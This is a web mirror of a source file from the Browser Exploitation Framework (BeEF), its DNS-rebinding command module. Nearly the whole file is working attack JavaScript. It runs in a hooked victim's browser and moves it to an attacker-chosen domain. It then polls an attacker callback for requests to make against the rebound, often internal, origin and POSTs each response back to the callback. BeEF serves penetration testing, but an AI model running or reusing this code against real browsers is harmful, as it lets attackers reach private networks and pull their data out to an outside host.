Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
beefproject
GitHub Repository: beefproject/beef
Path: blob/master/modules/network/dns_rebinding/command.js
1872 views
1
//
2
// Copyright (c) 2006-2026 Wade Alcorn - [email protected]
3
// Browser Exploitation Framework (BeEF) - https://beefproject.com
4
// See the file 'doc/COPYING' for copying permission
5
//
6
beef.execute(function() {
7
var domain = "<%= @domain %>"
8
if (window.location.href.indexOf(domain) == -1) {
9
window.location.href = "http://"+domain+"/";
10
} else {
11
//Cut '/' from url
12
var url = window.location.href.slice(0, -1);
13
var url_callback = "<%= @url_callback %>";
14
url_callback += '/?from=from_victim&&';
15
16
function get_next_query() {
17
var xhr_callback = new XMLHttpRequest();
18
//Synchronous because we do nothing without query from BeEF owner
19
xhr_callback.open('GET', url_callback+'que=req', true);
20
xhr_callback.onload = resolv_query;
21
xhr_callback.send(null);
22
}
23
24
function resolv_query() {
25
var path = this.getResponseHeader('path');
26
var method = this.getResponseHeader('method');
27
var data = this.responseText;
28
29
//Asynchronous beacuse XHR2 don't work with responseType when synchronous
30
var xhr = new XMLHttpRequest();
31
xhr.open(method, url+path, true);
32
xhr.responseType = 'arraybuffer'
33
xhr.onload = function(e) {
34
var blob = new Blob([this.response], {type: this.getResponseHeader('Content-Type')});
35
beef.debug(blob);
36
xhr_cb = new XMLHttpRequest();
37
xhr_cb.open('POST', url_callback+'que=req&&path='+path, false);
38
xhr_cb.send(blob);
39
40
elem = document.createElement("div");
41
elem.id = 'log';
42
elem.innerHTML = 'Downloaded: '+path;
43
document.body.insertBefore(elem, document.body.childNodes[0]);
44
}
45
xhr.send(data);
46
}
47
48
xhr1 = new XMLHttpRequest();
49
xhr1.open('GET', url+'/?load', false);
50
xhr1.send(null);
51
if (xhr1.status == 200) {
52
setInterval(get_next_query, 1000);
53
}
54
55
}
56
});
57
58